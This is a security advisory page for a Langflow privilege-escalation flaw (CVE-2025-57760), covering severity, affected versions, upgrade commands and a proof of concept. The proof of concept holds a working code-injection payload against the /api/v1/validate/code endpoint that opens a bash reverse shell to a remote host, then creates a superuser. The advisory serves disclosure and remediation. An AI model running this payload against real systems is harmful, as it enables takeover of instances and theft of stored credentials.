Skip to content

GHSA-4gv9-mp8m-592r CVE-2025-57760 PYSEC-2025-243 PYSEC-2026-1526

Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

High PyPI
Severity
8.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.54%
Chance of exploitation in the next 30 days. Higher than 45.36% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-269 Improper Privilege Management
Fix
Available
2 packages have a fixed version

Description

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

  1. Start container with LANGFLOW_ENABLE_AUTH set to True.
  2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)

<img width="1311" height="627" alt="image" src="https://github.com/user-attachments/assets/9b75bdc3-31ea-48c0-9e84-c2b168f404b3" />

  1. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
  1. Inside reverse shell, create superuser:

<img width="731" height="217" alt="image" src="https://github.com/user-attachments/assets/cb8497c6-0d61-414e-afe2-69bbbaf55cbc" />

  1. Log into UI as new superuser:

<img width="1262" height="532" alt="image" src="https://github.com/user-attachments/assets/1f0a713d-3d61-4aa4-a25b-58f4b58c061b" />

Impact

  • Privilege escalation to superuser — complete takeover of the Langflow instance
  • Access to all user data, flows, stored credentials, and configuration
  • Credential leakage — attacker can extract third-party API keys
  • Exposure of environment variables (inside docker container)
  • Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
  • Full user management — superuser can delete other users, reset their passwords

Affected versions

PyPI

PackageVulnerableFixed in
langflow
< 1.5.1
1.5.1
langflow
< 1.5.0
1.5.0
langflow-base
< 0.5.1
0.5.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → 1.5.1

pip
pip install --upgrade "langflow>=1.5.1"
poetry
poetry add "langflow>=1.5.1"
uv
uv add "langflow>=1.5.1"

langflow-base PyPI → 0.5.1

pip
pip install --upgrade "langflow-base>=0.5.1"
poetry
poetry add "langflow-base>=0.5.1"
uv
uv add "langflow-base>=0.5.1"

Severity breakdown

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-269: Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

How to prevent it
  • Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
  • Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qrpv-q767-xqq2
Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
High Known exploited Also affects langflow
GHSA-vwmf-pq79-vjvx
Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint
Critical Known exploited Also affects langflow
GHSA-g22f-v6f7-2hrh
Langflow affected by Remote Code Execution via validate_code() exec()
High Known exploited Also affects langflow
GHSA-577h-p2hh-v4mv
Langflow CORS misconfiguration enables Account Takeover and RCE
Critical Known exploited Also affects langflow
GHSA-rvqx-wpfh-mfx7
Langflow Unauth RCE
Critical Known exploited Also affects langflow
GHSA-j8f7-x8jm-wmm4
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Medium Also affects langflow
GHSA-4f6c-2vvp-gw82
Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
High Also affects langflow
GHSA-4hmc-cfm3-w43c
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
High Also affects langflow
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor